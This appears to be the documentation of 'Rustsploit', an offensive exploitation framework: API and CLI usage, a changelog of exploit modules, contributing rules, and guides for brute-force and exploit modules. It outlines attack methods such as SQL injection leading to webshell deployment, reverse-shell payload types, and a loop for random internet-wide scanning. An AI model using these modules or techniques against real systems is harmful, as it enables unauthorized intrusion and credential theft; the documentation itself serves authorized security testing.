curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"hosts add 192.168.1.1",
|
||||
"services add 192.168.1.1 22 tcp ssh OpenSSH_8.9",
|
||||
"notes 192.168.1.1 Possible default credentials"
|
||||
]
|
||||
}'
|
||||
|
||||
# Workspace management
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "workspace pentest_2026"}'
|
||||
|
||||
# Loot management
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "loot add 192.168.1.1 config router-config hostname_router1"}'
|
||||
|
||||
# Export data
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "export json engagement_report.json"}'
|
||||
```
|
||||
|
||||
### Background Jobs via Shell
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"jobs",
|
||||
"jobs clean"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Full Workflow Cheatsheet
|
||||
|
||||
```bash
|
||||
# 1. Start server
|
||||
cargo run -- --api
|
||||
|
||||
# 2. Health check
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
```
|
||||
@@ -0,0 +1,2 @@
|
||||
# About Me
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
# CLI Reference
|
||||
|
||||
Rustsploit modules can be executed without the interactive shell using Clap-based flags. The CLI dispatcher (`src/cli.rs`) maps directly to the same modules used in the shell.
|
||||
|
||||
---
|
||||
|
||||
## Basic Syntax
|
||||
|
||||
```bash
|
||||
cargo run -- [FLAGS] -m <MODULE> -t <TARGET>
|
||||
```
|
||||
|
||||
Or if using the compiled binary:
|
||||
```bash
|
||||
./rustsploit [FLAGS] -m <MODULE> -t <TARGET>
|
||||
```
|
||||
|
||||
An optional positional argument (`exploit`, `scanner`, `creds`) can be used to specify the module category, but it is not required -- the dispatcher resolves modules by name automatically.
|
||||
|
||||
---
|
||||
|
||||
## Commands
|
||||
|
||||
| Flag | Values | Description |
|
||||
|------|--------|-------------|
|
||||
| `--module` / `-m` | module name or path | Module to execute (short name or qualified path) |
|
||||
| `--target` / `-t` | IP / hostname / CIDR | Target to run against |
|
||||
| *(positional)* | `exploit`, `scanner`, `creds` | Optional module category subcommand |
|
||||
|
||||
---
|
||||
|
||||
## Global Flags
|
||||
|
||||
| Flag | Short | Description |
|
||||
|------|-------|-------------|
|
||||
| `--list-modules` | | Print all available modules and exit |
|
||||
| `--verbose` | `-v` | Enable detailed logging |
|
||||
| `--output-format` | | Control output: `text` (default) or `json` |
|
||||
| `--api` | | Start the PQ-encrypted REST API server |
|
||||
| `--interface <addr:port>` | | Bind address for API server (default: `127.0.0.1:8080`) |
|
||||
| `--pq-host-key <path>` | | PQ host key file (default: `~/.rustsploit/pq_host_key`) |
|
||||
| `--pq-authorized-keys <path>` | | Authorized client keys file (default: `~/.rustsploit/pq_authorized_keys`) |
|
||||
| `--resource` | `-r` | Execute a resource script file on startup |
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
```bash
|
||||
# Run an exploit
|
||||
cargo run -- -m heartbleed -t 192.168.1.1
|
||||
|
||||
# Run a scanner
|
||||
cargo run -- -m port_scanner -t 192.168.1.1
|
||||
|
||||
# Run a credential module
|
||||
cargo run -- -m ssh_bruteforce -t 192.168.1.1
|
||||
|
||||
# Run using a qualified module path
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1
|
||||
|
||||
# List all modules
|
||||
cargo run -- --list-modules
|
||||
|
||||
# Run with verbose logging
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
|
||||
|
||||
# Run with JSON output
|
||||
cargo run -- -m port_scanner -t 10.0.0.1 --output-format json
|
||||
|
||||
# Execute a resource script
|
||||
cargo run -- -r scripts/scan.rc
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Module Names
|
||||
|
||||
Modules can be referenced by:
|
||||
- **Short name:** `ssh_bruteforce`, `heartbleed`, `port_scanner`
|
||||
- **Qualified path:** `creds/generic/ssh_bruteforce`, `exploits/heartbleed`, `scanners/port_scanner`
|
||||
|
||||
Both forms resolve to the same underlying function via the build-generated dispatcher.
|
||||
|
||||
Use `--list-modules` or the shell's `modules` command for the authoritative list.
|
||||
|
||||
---
|
||||
|
||||
## Error Handling & Warnings
|
||||
|
||||
| Situation | Message |
|
||||
|-----------|---------|
|
||||
| `-m` used without `-t` | `⚠ Warning: --module specified without --target. Launching shell...` |
|
||||
| `-t` used without `-m` | Target is stored and available in the interactive shell |
|
||||
|
||||
---
|
||||
|
||||
## Interactive Prompts in CLI Mode
|
||||
|
||||
If a module requires additional parameters (e.g., wordlist paths for brute-force), it will prompt interactively even in CLI mode. For automated pipelines, modules should use sensible defaults or accept environment variables where applicable.
|
||||
@@ -0,0 +1,99 @@
|
||||
# Changelog
|
||||
|
||||
A high-level summary of significant changes. For the full detailed log, see [`changelogs/changelog-latest.md`](../changelogs/changelog-latest.md).
|
||||
|
||||
---
|
||||
|
||||
## v0.4.8 (2026-04-03)
|
||||
|
||||
### Module Totals
|
||||
|
||||
- **137 exploit modules** (24 with `check()`) — cameras, routers, network infrastructure, webapps, frameworks, SSH, DoS, crypto, FTP, IPMI, telnet, Bluetooth, VoIP, Windows, payload generators
|
||||
- **24 scanner modules**
|
||||
- **19 credential modules** — all with full mass scan support (random, CIDR, file, comma-separated targets)
|
||||
- **1 plugin module**
|
||||
- **181 total modules**
|
||||
|
||||
### Highlights
|
||||
|
||||
- **Framework-level multi-target dispatcher** — comma-separated, CIDR, file-based, and random target modes now work for ALL modules, handled by the framework rather than individual module code
|
||||
- **All modules use `cfg_prompt_*`** — ensures full API/CLI/MCP compatibility via the priority chain (custom_prompts > global_options > stdin)
|
||||
- **Honeypot detection system** — warns operators when a target exhibits honeypot characteristics
|
||||
- **`#[cfg(unix)]` guards** on Unix-specific permissions code for cross-platform compilation
|
||||
- **Bug fixes:**
|
||||
- SharePoint exploit: fixed header typo
|
||||
- Langflow exploit: corrected escape order
|
||||
- Zabbix SQLi: removed unused payload variable
|
||||
- Jenkins LFI: fixed async deadlock
|
||||
- Apache Tomcat: replaced hardcoded session IDs with proper generation
|
||||
|
||||
---
|
||||
|
||||
## Recent Changes
|
||||
|
||||
### Framework Features (Metasploit Parity)
|
||||
|
||||
| Feature | Commands | Description |
|
||||
|---------|----------|-------------|
|
||||
| Module Metadata | `info`, `check` | Optional `info()` and `check()` per module — CVE, author, rank, non-destructive verification |
|
||||
| Global Options | `setg`, `unsetg`, `show options` | Persistent key-value options across modules, saved to `~/.rustsploit/global_options.json` |
|
||||
| Credential Store | `creds` (add/search/delete/clear) | Track discovered credentials with JSON persistence |
|
||||
| Host/Service Tracking | `hosts`, `services`, `notes`, `workspace` | Workspace-based engagement data at `~/.rustsploit/workspaces/` |
|
||||
| Loot Management | `loot` (add/search) | Structured evidence collection with file storage |
|
||||
| Resource Scripts | `resource`, `makerc`, `-r` flag | Automation from script files, startup.rc auto-load |
|
||||
| Console Logging | `spool` (on/off) | Capture all console output to file |
|
||||
| Background Jobs | `run -j`, `jobs` (-k/clean) | Async module execution with cancellation |
|
||||
| Export/Reporting | `export json\|csv\|summary` | Export all engagement data to multiple formats |
|
||||
| Plugin System | `src/modules/plugins/` | Third-party module support with safety warnings |
|
||||
| Build System | `build.rs` | Now auto-detects `info()` and `check()` alongside `run()` |
|
||||
| Prompt System | `cfg_prompt_*` | Priority chain: custom_prompts > global_options > stdin |
|
||||
| API Endpoints | 15 new routes | Full CRUD for options, creds, hosts, services, loot, jobs, export |
|
||||
|
||||
### New Exploit Modules
|
||||
|
||||
| Module | CVE / Notes |
|
||||
|--------|-------------|
|
||||
| `exploits/mongo/mongobleed` | CVE-2025-14847 — MongoDB zlib memory disclosure, deep-scan mode |
|
||||
| `exploits/frameworks/nginx/nginx_pwner` | Nginx misconfiguration scanner — 10 checks |
|
||||
| `exploits/hikvision/hikvision_rce` | CVE-2021-36260 — command injection, SSH shell deploy |
|
||||
| `exploits/frameworks/n8n` | CVE-2025-68613 — workflow expression injection, 6 payloads |
|
||||
| `exploits/fortiweb` | CVE-2025-25257 — SQLi → webshell deploy |
|
||||
| `exploits/webapps/sharepoint` | CVE-2024-38094 — deserialization RCE |
|
||||
| `exploits/windows/dwm` | CVE-2026-20805 — Windows DWM info disclosure |
|
||||
| `exploits/crypto/geth` | CVE-2026-22862 — Go-Ethereum ecies panic DoS |
|
||||
| `exploits/frameworks/termix` | CVE-2026-22804 — stored XSS |
|
||||
| `exploits/network_infra/forticloud_sso` | CVE-2026-24858 — auth bypass |
|
||||
| `exploits/routers/ruijie/*` | 7 modules — RCE, Auth Bypass, SSRF |
|
||||
| `exploits/routers/tp_link_vigi` | CVE-2026-1457 — authenticated RCE |
|
||||
| `exploits/telnet/cve_2026_24061` | GNU inetutils-telnetd auth bypass via `NEW_ENVIRON` |
|
||||
|
||||
### New Credential Modules
|
||||
|
||||
| Module | Notes |
|
||||
|--------|-------|
|
||||
| `creds/generic/telnet_hose` | Mass internet Telnet scanner — 500 workers, disk-based state, 6-second timeout |
|
||||
|
||||
### Framework & Core Improvements
|
||||
|
||||
- **Proxy system removed** — No built-in proxy support. Use a system-level VPN (e.g., Mullvad) before launching Rustsploit.
|
||||
- **Mass-scan standardization** — All mass-scan modules accept `0.0.0.0`, `0.0.0.0/0`, or `random` targets with consistent `EXCLUDED_RANGES` enforcement.
|
||||
- **Stability** — Removed all `unwrap()` and `unwrap_or_default()` calls from critical paths.
|
||||
- **API worker threading** — Fixed with `spawn_blocking`, consolidated validation logic.
|
||||
- **Telnet bruteforce refactor** — DNS resolved once (not per-attempt), `tokio::sync::Semaphore`, state machine (`TelnetState` enum), `BytesMut` buffer management.
|
||||
- **Telnet hose** — password-only server detection (skips username prompt when server sends password prompt in banner).
|
||||
|
||||
### Dependency Upgrades
|
||||
|
||||
| Crate | Change |
|
||||
|-------|--------|
|
||||
| `suppaftp` v7 | Imports updated to `suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector}` |
|
||||
| `reqwest` v0.13 | Removed `.query()` / `.form()` helpers — manually constructed in 6 modules |
|
||||
| `rustls` v0.23 | `ServerName` import updated to `rustls::pki_types::ServerName`; deprecated `with_safe_defaults()` removed |
|
||||
| `hickory-client` v0.25 | `AsyncClient` → `Client`; `UdpClientStream` rewritten to builder pattern + `TokioRuntimeProvider` |
|
||||
|
||||
### utils.rs Improvements
|
||||
|
||||
- Config-aware prompt system (`cfg_prompt_required`, `cfg_prompt_default`, `cfg_prompt_yes_no`, `cfg_prompt_port`, `cfg_prompt_int_range`, `cfg_prompt_existing_file`, `cfg_prompt_output_file`, `cfg_prompt_wordlist`)
|
||||
- `read_safe_input` — centralizes length enforcement, null-byte stripping, and control character filtering
|
||||
- All prompt helpers updated to use `read_safe_input`
|
||||
- Payload-safe mode: only `\0` is stripped; all other characters pass through as literal text
|
||||
@@ -0,0 +1,112 @@
|
||||
# Contributing
|
||||
|
||||
Contributions are welcome — bug reports, new modules, framework improvements, and wordlist additions are all appreciated.
|
||||
|
||||
---
|
||||
|
||||
## Workflow
|
||||
|
||||
1. **Fork** the repository and create a branch from `main`
|
||||
2. **Add your module** under the appropriate category in `src/modules/`
|
||||
3. **Register it** — add `pub mod your_module;` to the sibling `mod.rs`
|
||||
4. **Run checks:**
|
||||
```bash
|
||||
cargo fmt
|
||||
cargo check
|
||||
cargo test
|
||||
```
|
||||
5. **Open a PR** — describe what the module does, the CVE (if applicable), and how to test it
|
||||
|
||||
---
|
||||
|
||||
## Module Placement
|
||||
|
||||
| Type | Path |
|
||||
|------|------|
|
||||
| Exploit | `src/modules/exploits/<vendor_or_category>/` |
|
||||
| Scanner | `src/modules/scanners/` |
|
||||
| Credential | `src/modules/creds/generic/` or `creds/<vendor>/` |
|
||||
| Plugin | `src/modules/plugins/` |
|
||||
|
||||
Use subfolders for vendor families (e.g., `exploits/cisco/`, `exploits/cameras/`).
|
||||
|
||||
### Recommended: Add Module Metadata
|
||||
|
||||
Consider adding `info()` and/or `check()` functions to your module:
|
||||
|
||||
```rust
|
||||
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "My Module".to_string(),
|
||||
description: "What this module does.".to_string(),
|
||||
authors: vec!["Your Name".to_string()],
|
||||
references: vec!["CVE-XXXX-YYYY".to_string()],
|
||||
disclosure_date: Some("2025-01-15".to_string()),
|
||||
rank: ModuleRank::Good,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
// Non-destructive verification only
|
||||
CheckResult::Unknown("Not implemented".to_string())
|
||||
}
|
||||
```
|
||||
|
||||
### Auto-Store Findings
|
||||
|
||||
If your module discovers credentials, hosts, or services, use the framework helpers:
|
||||
|
||||
```rust
|
||||
crate::cred_store::store_credential(host, port, "ssh", user, pass,
|
||||
crate::cred_store::CredType::Password, "my_module");
|
||||
crate::workspace::track_host(ip, Some("hostname"), None);
|
||||
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Code Rules
|
||||
|
||||
These rules are enforced across the entire codebase:
|
||||
|
||||
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
|
||||
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
|
||||
- **All prompts must use `cfg_prompt_*()` variants** (from `src/utils/prompt.rs`), not raw `prompt_*()` functions. The `cfg_prompt_*` functions check API custom_prompts and global options before falling back to interactive stdin, which is required for API compatibility. Using raw prompt functions will cause modules to block when called via the API.
|
||||
|
||||
## Code Style
|
||||
|
||||
- Run `cargo fmt` — no manual formatting required
|
||||
- Use `[+]` / `[-]` / `[!]` / `[*]` prefixes for output (`.green()` / `.red()` / `.yellow()` / `.cyan()`)
|
||||
- Keep output concise and actionable
|
||||
- Document CVE IDs and affected products in comments and output
|
||||
- No `unwrap()` or `unwrap_or_default()` in critical paths — use `?` with `anyhow::Context`
|
||||
- All targets pass through `crate::utils::normalize_target` — no custom normalization
|
||||
|
||||
---
|
||||
|
||||
## Mass-Scan Modules
|
||||
|
||||
If adding a module with 0.0.0.0/0 support:
|
||||
- Copy the `EXCLUDED_RANGES` pattern from an existing mass-scan module
|
||||
- Disable honeypot detection in scan-loop mode
|
||||
- Default to a sane concurrency limit (mention it in output)
|
||||
|
||||
---
|
||||
|
||||
## Wordlists
|
||||
|
||||
- Store under `lists/` and document in `lists/readme.md`
|
||||
- Prefer Seclists derivations or well-known public sources
|
||||
- Keep file sizes reasonable — large lists should support streaming
|
||||
|
||||
---
|
||||
|
||||
## Bug Reports & Ideas
|
||||
|
||||
Open a GitHub issue or reach out with PoCs. Feature requests and module ideas are appreciated — please open a discussion before large refactors.
|
||||
|
||||
---
|
||||
|
||||
> ⚠️ All contributions must target authorized security testing scenarios. Commit messages and module descriptions must reflect controlled research usage.
|
||||
@@ -0,0 +1,179 @@
|
||||
# Credential Modules Guide
|
||||
|
||||
Best practices for writing and extending brute-force / credential-checking modules.
|
||||
|
||||
---
|
||||
|
||||
## Common Prompts
|
||||
|
||||
Credential modules should interactively prompt for:
|
||||
|
||||
- Port number
|
||||
- Username wordlist path
|
||||
- Password wordlist path
|
||||
- Concurrency limit (threads / semaphore slots)
|
||||
- Stop-on-success toggle
|
||||
- Output file path
|
||||
- Verbose logging toggle
|
||||
|
||||
Use the shared `cfg_prompt_*` helpers from `crate::utils`, which respect the priority chain (API custom_prompts > global options > interactive stdin):
|
||||
```rust
|
||||
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Input Handling
|
||||
|
||||
- **Trim** wordlist entries and skip blank lines
|
||||
- **Early exit** if a wordlist is empty
|
||||
- **Validate paths** — no `..`, use `canonicalize()`
|
||||
- **Stream large files** — for password files >150 MB, use streaming mode (see RDP module)
|
||||
|
||||
---
|
||||
|
||||
## Concurrency Model
|
||||
|
||||
All bruteforce modules use the shared engine (`crate::modules::creds::utils`):
|
||||
|
||||
| Function | Use Case |
|
||||
|----------|----------|
|
||||
| `run_bruteforce()` | Single-target credential testing with concurrency, progress, retry |
|
||||
| `run_subnet_bruteforce()` | CIDR subnet scanning with per-host credential testing |
|
||||
| `run_mass_scan()` | Random/file/CIDR mass scanning with lightweight probes |
|
||||
| `generate_combos()` | Generate user/password pairs (combo or linear mode) |
|
||||
|
||||
Avoid custom concurrency — always use the engine which handles semaphores, progress reporting, lockout detection, and credential storage.
|
||||
|
||||
---
|
||||
|
||||
## IPv6 Support
|
||||
|
||||
Use `format_addr` to wrap IPv6 addresses in brackets and handle port suffixes:
|
||||
|
||||
```rust
|
||||
// Good
|
||||
let addr = format_addr(&ip, port); // "[::1]:22"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Error Classification
|
||||
|
||||
Implement specific error types for better debugging and reporting:
|
||||
|
||||
```rust
|
||||
enum CredsError {
|
||||
ConnectionFailed(String),
|
||||
AuthenticationFailed,
|
||||
CertificateError,
|
||||
Timeout,
|
||||
NetworkError(String),
|
||||
ProtocolError(String),
|
||||
ToolNotFound,
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## TLS / STARTTLS
|
||||
|
||||
Accept invalid certificates for offensive tooling convenience (e.g., `danger_accept_invalid_certs(true)` in reqwest / native-tls), but document this clearly in module comments and output.
|
||||
|
||||
---
|
||||
|
||||
## Result Persistence
|
||||
|
||||
Offer to write `host -> user:pass` pairs to a local file (default `./results.txt`):
|
||||
|
||||
```rust
|
||||
if let Some(ref path) = output_file {
|
||||
let line = format!("{} -> {}:{}\n", target, user, pass);
|
||||
fs::OpenOptions::new().create(true).append(true).open(path)?.write_all(line.as_bytes())?;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Available Credential Modules (28 total)
|
||||
|
||||
### Remote Access Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `ssh_bruteforce` | 22 | libssh2 password auth | Default creds, combo mode, streaming wordlists |
|
||||
| `ssh_spray` | 22 | Password spray | One password across many targets |
|
||||
| `ssh_user_enum` | 22 | Timing attack | CVE-2018-15473 style user enumeration |
|
||||
| `telnet_bruteforce` | 23, 2323 | IAC negotiation + prompt detection | Multi-port, 55+ IoT defaults, shell verification, streaming |
|
||||
| `telnet_hose` | 23, 2323, 23231 | Default creds mass scan | 500 concurrent, multi-port per host |
|
||||
| `rdp_bruteforce` | 3389 | Native CredSSP/NTLM | NLA/TLS/RDP/Negotiate security levels |
|
||||
| `vnc_bruteforce` | 5900 | DES challenge-response (RFB) | Password-only, bit-reversed DES key |
|
||||
| `ftp_bruteforce` | 21 | FTP/FTPS LOGIN | TLS fallback, error classification |
|
||||
| `ftp_anonymous` | 21 | Anonymous login check | FTPS fallback, LIST verification |
|
||||
|
||||
### Email Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `smtp_bruteforce` | 25, 465, 587 | SMTP AUTH (PLAIN/LOGIN/CRAM-MD5) | STARTTLS support |
|
||||
| `pop3_bruteforce` | 110, 995 | POP3 USER/PASS | TLS/STLS support |
|
||||
| `imap_bruteforce` | 143, 993 | IMAP LOGIN | IMAPS (implicit TLS), RFC 3501 escaping |
|
||||
|
||||
### Database Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `mysql_bruteforce` | 3306 | Native wire protocol (SHA1 handshake) | HandshakeV10 parsing, salt extraction |
|
||||
| `postgres_bruteforce` | 5432 | MD5 or cleartext auth | Wire protocol, `md5(md5(pass+user)+salt)` |
|
||||
| `redis_bruteforce` | 6379 | AUTH command (legacy + ACL) | Redis 6+ ACL support, INFO version detection |
|
||||
| `elasticsearch_bruteforce` | 9200 | HTTP Basic Auth | Cluster detection, open-access check |
|
||||
| `couchdb_bruteforce` | 5984 | Session auth + Basic fallback | `/_session` POST, `/_all_dbs` verification |
|
||||
| `memcached_bruteforce` | 11211 | SASL PLAIN (binary protocol) | Open memcached detection, version check |
|
||||
|
||||
### Web Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `http_basic_bruteforce` | 80, 443 | HTTP Basic Authentication | HTTPS, custom paths, redirect detection |
|
||||
| `fortinet_bruteforce` | 443 | FortiOS web login | CSRF token extraction, realm support |
|
||||
|
||||
### Network Management
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `snmp_bruteforce` | 161 (UDP) | SNMPv1/v2c community strings | Custom SNMP packet, BER parsing |
|
||||
|
||||
### IoT / Messaging
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `mqtt_bruteforce` | 1883, 8883 | MQTT 3.1.1 CONNECT | TLS/SSL, anonymous detection, client ID |
|
||||
| `rtsp_bruteforce` | 554 | RTSP Basic Auth | Path brute-forcing, custom headers |
|
||||
|
||||
### VPN
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `l2tp_bruteforce` | 1701 (UDP) | L2TP/CHAP handshake | Full L2TP session + PPP CHAP |
|
||||
|
||||
### Utility
|
||||
|
||||
| Module | Description |
|
||||
|--------|-------------|
|
||||
| `enablebruteforce` | Raise file descriptor limits (ulimit) for high-concurrency scans |
|
||||
| `sample_cred_check` | Template/example credential check module |
|
||||
| `acti_camera_default` | Multi-protocol default credential check (FTP/SSH/Telnet/HTTP) |
|
||||
| `camxploit` | Mass camera scanner with port + path + credential testing |
|
||||
|
||||
---
|
||||
|
||||
## Mass Scanning Support
|
||||
|
||||
All 28 credential modules support mass scanning via the framework's multi-target dispatcher. The framework automatically handles:
|
||||
|
||||
- **Random targets** (`random`, `0.0.0.0/0`) — generates random public IPs with `EXCLUDED_RANGES` enforcement
|
||||
- **CIDR ranges** (e.g., `192.168.1.0/24`) — expands and iterates all hosts
|
||||
- **File-based targets** — reads one target per line from a file path
|
||||
- **Comma-separated targets** — splits and runs against each target
|
||||
|
||||
Modules use `is_mass_scan_target()` to detect mass-scan mode and `run_mass_scan()` to delegate to the framework dispatcher. This is handled at the framework level, so individual modules do not need custom mass-scan loops.
|
||||
@@ -0,0 +1,61 @@
|
||||
# Credits
|
||||
|
||||
---
|
||||
|
||||
## Project
|
||||
|
||||
| Role | Name |
|
||||
|------|------|
|
||||
| Project Lead | s-b-repo |
|
||||
| Language | 100% Rust |
|
||||
|
||||
---
|
||||
|
||||
## Inspiration
|
||||
|
||||
- [RouterSploit](https://github.com/threat9/routersploit) — modular embedded exploitation framework
|
||||
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — industry-standard exploitation framework
|
||||
- [pwntools](https://github.com/Gallopsled/pwntools) — CTF exploit library
|
||||
|
||||
---
|
||||
|
||||
## Wordlists
|
||||
|
||||
- [SecLists](https://github.com/danielmiessler/SecLists) — the majority of bundled wordlists
|
||||
- Custom additions in `lists/` — documented in `lists/readme.md`
|
||||
|
||||
---
|
||||
|
||||
## Key Dependencies
|
||||
|
||||
| Crate | Purpose |
|
||||
|-------|---------|
|
||||
| `tokio` | Async runtime |
|
||||
| `reqwest` | HTTP client |
|
||||
| `clap` | CLI argument parsing |
|
||||
| `anyhow` | Error handling |
|
||||
| `colored` | Terminal color output |
|
||||
| `axum` | REST API framework |
|
||||
| `suppaftp` | FTP/FTPS (v7, tokio async) |
|
||||
| `hickory-client` | DNS (v0.25, builder pattern) |
|
||||
| `ipnetwork` | CIDR range matching |
|
||||
| `rustls` | TLS (v0.23+) |
|
||||
| `bytes` | Buffer management (`BytesMut`) |
|
||||
| `subtle` | Constant-time API key comparison |
|
||||
| `strsim` | Fuzzy module name matching (Levenshtein) |
|
||||
| `rustyline` | Interactive shell line editing |
|
||||
| `serde` / `serde_json` | Serialization / JSON persistence |
|
||||
| `ssh2` | SSH protocol support |
|
||||
| `des` / `aes` / `cipher` | Cryptographic primitives |
|
||||
| `chrono` | Date/time handling |
|
||||
| `uuid` | Unique identifier generation |
|
||||
|
||||
---
|
||||
|
||||
## Legal
|
||||
|
||||
> ⚠️ Rustsploit is intended for **authorized security testing and research only**.
|
||||
> Obtain explicit written permission before targeting any system you do not own.
|
||||
> The authors accept no liability for misuse.
|
||||
|
||||
Licensed under the terms in [LICENSE](../LICENSE).
|
||||
@@ -0,0 +1,2 @@
|
||||
# Donation
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
# Exploit Modules Guide
|
||||
|
||||
Best practices for writing and extending exploit modules in Rustsploit.
|
||||
|
||||
---
|
||||
|
||||
## CVE Referencing
|
||||
|
||||
Always mention CVE IDs, vendor names, and affected products in:
|
||||
- The module file docstring / top-level comments
|
||||
- Output messages (e.g., `[*] Testing CVE-2025-14847 on {}`, target)
|
||||
- The [Module Catalog](Module-Catalog.md)
|
||||
|
||||
---
|
||||
|
||||
## Response Validation
|
||||
|
||||
Validate server responses before declaring success — false positives hurt credibility:
|
||||
|
||||
```rust
|
||||
if response.status() == 200 && body.contains("expected_indicator") {
|
||||
println!("{} Confirmed vulnerable: {}", "[+]".green(), target);
|
||||
} else {
|
||||
println!("{} Not vulnerable or patched", "[-]".red());
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Artifact Handling
|
||||
|
||||
If the exploit downloads or writes files (e.g., memory dumps, webshells):
|
||||
- Store in the current working directory or a named subfolder
|
||||
- Name files descriptively: `mongobleed_results_{target}.txt`, `nginx_pwner_results_{target}.txt`
|
||||
- Inform the operator where output was written
|
||||
|
||||
---
|
||||
|
||||
## Clean-Up Instructions
|
||||
|
||||
If the exploit adds credentials or accounts (e.g., camera modules), document:
|
||||
- The impact of the change
|
||||
- How to revert (e.g., default creds to restore, commands to run)
|
||||
|
||||
---
|
||||
|
||||
## Interactive Options
|
||||
|
||||
Use `cfg_prompt_*` helpers from `crate::utils` if end-user input is needed. These respect the priority chain (API custom_prompts > global options > interactive stdin), ensuring modules work in shell, API, and CLI modes:
|
||||
|
||||
```rust
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_yes_no};
|
||||
|
||||
let command = cfg_prompt_default("command", "Command to execute", "id").await?;
|
||||
let deploy = cfg_prompt_yes_no("deploy_webshell", "Deploy webshell?", true).await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Mass-Scan Support
|
||||
|
||||
For modules supporting internet-wide scanning (target `0.0.0.0/0`):
|
||||
|
||||
```rust
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
|
||||
loop {
|
||||
let ip = generate_random_public_ip();
|
||||
if !is_excluded_ip(ip) {
|
||||
execute(ip.to_string().as_str()).await.ok();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
See `EXCLUDED_RANGES` documentation in [Security & Validation](Security-Validation.md).
|
||||
|
||||
Disable honeypot detection in mass-scan mode to avoid interactive prompts blocking the scan loop.
|
||||
|
||||
---
|
||||
|
||||
## Module-Specific Notes
|
||||
|
||||
### Hikvision RCE (CVE-2021-36260)
|
||||
- **Safe check** — writes/reads a test file to verify exploitability
|
||||
- **Unsafe reboot** — reboots the device to confirm (destructive)
|
||||
- **Command exec** — output retrieved, supports blind mode
|
||||
- **SSH shell** — deploys Dropbear SSH on port 1337
|
||||
|
||||
### MongoBleed (CVE-2025-14847)
|
||||
- Sends malicious compressed packet with inflated `uncompressedSize`
|
||||
- Parses error response to extract leaked memory chunks (field names / types)
|
||||
- Prints any leaked strings (potential credentials / data) to console
|
||||
- Includes deep-scan mode for extended analysis
|
||||
|
||||
### n8n RCE (CVE-2025-68613)
|
||||
- Authenticates via `/rest/login` (token / cookie-based)
|
||||
- Creates a malicious workflow with expression injection payload
|
||||
- Triggers via `/rest/workflows/{id}/run`
|
||||
- Cleans up test workflow after execution
|
||||
- **6 payload types:** Info, Command, Environment, Read File, Write File, Reverse Shell
|
||||
|
||||
### FortiWeb SQLi → RCE (CVE-2025-25257)
|
||||
- SQL injection via `Authorization: Bearer ';{injection}` header
|
||||
- Writes webshell via `SELECT INTO OUTFILE`
|
||||
- Uses `.pth` trigger for Python `chmod` execution
|
||||
- Interactive modes: deploy webshell, execute command, test SQLi only
|
||||
|
||||
### NginxPwner
|
